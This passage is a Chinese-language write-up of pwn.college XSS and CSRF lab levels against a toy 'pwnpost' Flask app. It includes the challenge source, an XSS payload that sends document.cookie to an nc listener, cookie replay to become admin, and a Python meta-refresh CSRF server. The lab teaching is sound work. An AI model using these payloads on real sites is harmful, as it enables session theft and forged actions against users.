user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if user:
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br>
<form action=publish method=post><input type=submit value="Publish All Drafts"></form>
<hr>
"""

for post in db.execute("SELECT * FROM posts").fetchall():
page += f"""<h2>Author: {post["author"]}</h2>"""
if post["published"]:
page += post["content"] + "<hr>\n"
elif post["author"] == username:
page += "<b>YOUR DRAFT POST:</b> " + post["content"] + "<hr>\n"
else:
page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""
else:
page += """
<form action=login method=post>
Username:<input type=text name=username>
Password:<input type=text name=password>
<input type=submit name=submit value=Login>
</form><hr>
"""

return page + "</body></html>"


app.secret_key = os.urandom(8)
app.config["SERVER_NAME"] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

cat /challenge/victim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/opt/pwn.college/python

import psutil
import urllib
import atexit
import time
import sys
import os

from selenium import webdriver
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.service import Service as FirefoxService
from selenium.webdriver.common.by import By
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, WebDriverException

os.setuid(os.geteuid())
os.environ.clear()
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

options = FirefoxOptions()
options.add_argument("--headless")
service = FirefoxService(log_path="/dev/null")
browser = webdriver.Firefox(service=service, options=options)
atexit.register(browser.quit)

open_ports = {s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == "LISTEN"}
if 80 not in open_ports:
print("Service doesn't seem to be running?")
sys.exit(1)

challenge_url = "http://challenge.localhost:80/"

print(f"Visiting {challenge_url}")
browser.get(challenge_url)

browser.find_element(By.NAME, "username").send_keys("admin")
browser.find_element(By.NAME, "password").send_keys(open("/flag").read().strip()[-20:])
browser.find_element(By.NAME, "submit").submit()

time.sleep(2)
print("Visited! Go check if the attack worked!")

那這題的hint說使用nc去監聽port,因為看code你可以知道

1
2
3
4
5
if not user:
flask.abort(403, "Invalid username or password")

if username == "admin":
flask.abort(400, "pwnpost no longer supports admin posting due to rampant flag disclosure")

會被abort掉。
那我們要解決這個問題,先確定flag是怎麼組成的,看一下
/challenge/server

1
2
else:
page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""

/challenge/victim

1
browser.find_element(By.NAME, "password").send_keys(open("/flag").read().strip()[-20:])

所以說,flag被分成兩部分,

  • 前面12個字元是未發布的草稿
  • 後面20個字元是admin的密碼

那我們就寫payload然後上傳到web
<script>fetch("http://127.0.0.1:8000/publish/?c="+document.cookie)</script>

用nc -lvnp 8000去監聽
三台terminal,一台跑/challenge/server,然後一台打開nc -lvnp 8000持續監聽,最後一台執行/challenge/victim,
此時你就會收到這樣的response
image

其中
GET /publish/?c=auth=admin|.Q????????????????W}
就是admin的cookie了,而admin密碼就是flag後半部分,直接交出去是沒辦法過的
但,我們已經拿到這組cookie了,就直接用這組cookie當作是admin登入吧!
image
(修改value的欄位)

image
就成功以admin身分進入,拿到draft檔案的flag了!


CSRF 1

1
2
3
4
5
6
7
8
9
You've used XSS to inject JavaScript to cause the victim to make HTTP requests. But what if there is no XSS? Can you just "inject" the HTTP requests directly?

Shockingly, the answer is yes. The web was designed to enable interconnectivity across many different websites. Sites can embed images from other sites, link to other sites, and even redirect to other sites. All of this flexibility represents some serious security risks, and there is almost nothing preventing a malicious website from simply directly causing a victim visitor to make potentially sensitive requests, such as (in our case) a GET request to http://challenge.localhost/publish!

This style of forging requests across sites is called Cross Site Request Forgery, or CSRF for short.

Note that I said almost nothing prevents this. The Same-origin Policy was created in the 1990s, when the web was still young, to (try to) mitigate this problem. SOP prevents a site at one Origin (say, http://www.hacker.com or, in our case, http://hacker.localhost:1337) from interacting in certain security-critical ways with sites at other Origins (say, http://www.asu.edu or, in our case, http://challenge.localhost/). SOP prevents some common CSRF vectors (e.g., when using JavaScript to make a requests across Origins, cookies will not be sent!), but there are plenty of SOP-avoiding ways to, e.g., make GET requests with cookies intact (such as full-on redirects).

In this level, pwnpost has fixed its XSS issues (at least for the admin user). You'll need to use CSRF to publish the flag post! The /challenge/victim of this level will log into pwnpost (http://challenge.localhost/) and will then visit an evil site that you can set up (http://hacker.localhost:1337/). hacker.localhost points to your local workspace, but you will need to set up a web server to serve an HTTP request on port 1337 yourself. Again, this can be done with nc or with a python server (for example, by using http.server or simply adapting the challenge server code itself!). Because these sites will have different Origins, SOP protections will apply, so be careful about how you forge the request!

cat /challenge/server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/opt/pwn.college/python

import tempfile
import sqlite3
import flask
import os

app = flask.Flask(__name__)

class TemporaryDB:
def __init__(self):
self.db_file = tempfile.NamedTemporaryFile("x", suffix=".db")

def execute(self, sql, parameters=()):
connection = sqlite3.connect(self.db_file.name)
connection.row_factory = sqlite3.Row
cursor = connection.cursor()
result = cursor.execute(sql, parameters)
connection.commit()
return result

flag = open("/flag").read().strip() if os.geteuid() == 0 else "pwn.college{fake_flag}"

db = TemporaryDB()
# https://www.sqlite.org/lang_createtable.html
db.execute("""CREATE TABLE posts AS SELECT ? AS content, "admin" AS author, FALSE AS published""", [flag])
db.execute("""CREATE TABLE users AS SELECT "admin" AS username, ? as password""", [flag])
# https://www.sqlite.org/lang_insert.html
db.execute("""INSERT INTO users SELECT "guest" as username, "password" as password""")
db.execute("""INSERT INTO users SELECT "hacker" as username, "1337" as password""")

@app.route("/login", methods=["POST"])
def challenge_login():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if not username:
flask.abort(400, "Missing `username` form parameter")
if not password:
flask.abort(400, "Missing `password` form parameter")

# https://www.sqlite.org/lang_select.html
user = db.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password)).fetchone()
if not user:
flask.abort(403, "Invalid username or password")

flask.session["username"] = username
return flask.redirect("/")

@app.route("/draft", methods=["POST"])
def challenge_draft():
if "username" not in flask.session:
flask.abort(403, "Log in first!")

content = flask.request.form.get("content", "")
# https://www.sqlite.org/lang_insert.html
db.execute(
"INSERT INTO posts (content, author, published) VALUES (?, ?, ?)",
(content, flask.session.get("username"), bool(flask.request.form.get("publish")))
)
return flask.redirect("/")

@app.route("/publish", methods=["GET"])
def challenge_publish():
if "username" not in flask.session:
flask.abort(403, "Log in first!")

# https://www.sqlite.org/lang_update.html
db.execute("UPDATE posts SET published = TRUE WHERE author = ?", [flask.session.get("username")])
return flask.redirect("/")

@app.route("/", methods=["GET"])
def challenge_get():
page = "<html><body>\nWelcome to pwnpost, now XSS-free (for admin, at least)!<hr>\n"
username = flask.session.get("username", None)
if username == "admin":
page += """<b>To prevent XSS, the admin does not view messages!</b>"""
elif username:
page += """
<form action=draft method=post>
Post:<textarea name=content>Write something!</textarea>
<input type=checkbox name=publish>Publish
<input type=submit value=Save>
</form><br><a href=publish>Publish your drafts!</a><hr>
"""

for post in db.execute("SELECT * FROM posts").fetchall():
page += f"""<h2>Author: {post["author"]}</h2>"""
if post["published"]:
page += post["content"] + "<hr>\n"
else:
page += f"""(Draft post, showing first 12 characters):<br>{post["content"][:12]}<hr>"""
else:
page += """
<form action=login method=post>
Username:<input type=text name=username>
Password:<input type=text name=password>
<input type=submit name=submit value=Login>
</form><hr>
"""

return page + "</body></html>"

app.secret_key = os.urandom(8)
app.config['SERVER_NAME'] = f"challenge.localhost:80"
app.run("challenge.localhost", 80)

cat /challenge/victim

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/opt/pwn.college/python

import psutil
import urllib
import atexit
import time
import sys
import os

from selenium import webdriver
from selenium.webdriver.firefox.options import Options as FirefoxOptions
from selenium.webdriver.firefox.service import Service as FirefoxService
from selenium.webdriver.common.by import By
from selenium.webdriver.support.wait import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, WebDriverException

os.setuid(os.geteuid())
os.environ.clear()
os.environ["PATH"] = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

options = FirefoxOptions()
options.add_argument("--headless")
service = FirefoxService(log_path="/dev/null")
browser = webdriver.Firefox(service=service, options=options)
atexit.register(browser.quit)

open_ports = { s.laddr.port for s in psutil.net_connections(kind="inet") if s.status == 'LISTEN' }
if 80 not in open_ports:
print("Service doesn't seem to be running?")
sys.exit(1)
challenge_url = "http://challenge.localhost:80/"
flag = open("/flag").read().strip()

print(f"Visiting {challenge_url}")
browser.get(challenge_url)

print("Logging in as admin...")
browser.find_element(By.NAME, "username").send_keys("admin")
browser.find_element(By.NAME, "password").send_keys(flag)
browser.find_element(By.NAME, "submit").submit()
time.sleep(3)
print("Logged in!")

print("Visiting the attacker's website (http://hacker.localhost:1337/)...")
browser.get("http://hacker.localhost:1337/")
time.sleep(3)

print("Visited! Go check if the attack worked!")

image

CSRF(跨站請求)常見題目,
我們的/challenge/victim功能就是用admin身分連去hacker.localhost:1337,而要做的就是利用這個身分,連回去challenge.localhost:80並直接執行/publish,
所以我們要對hacker.localhost:1337寫腳本來實現返回去連線的行為。

自己寫腳本(我是使用python,也可以用nc監聽啦)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from http.server import BaseHTTPRequestHandler, HTTPServer

class CSRFHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(b"""
<html>
<head>
<meta http-equiv="refresh" content="0; url=http://challenge.localhost/publish">
</head>
</html>
""")

httpd=HTTPServer(("0.0.0.0",1337),CSRFHandler)
print("Serving CSRF attack page on http://hacker.localhost:1337/")
httpd.serve_forever()

最後打開我們原本的hacker.localhost:1337或是刷新`challenge.localhost:80,就會看到admin身分的草稿,成功publish文章了
image

(未完待續)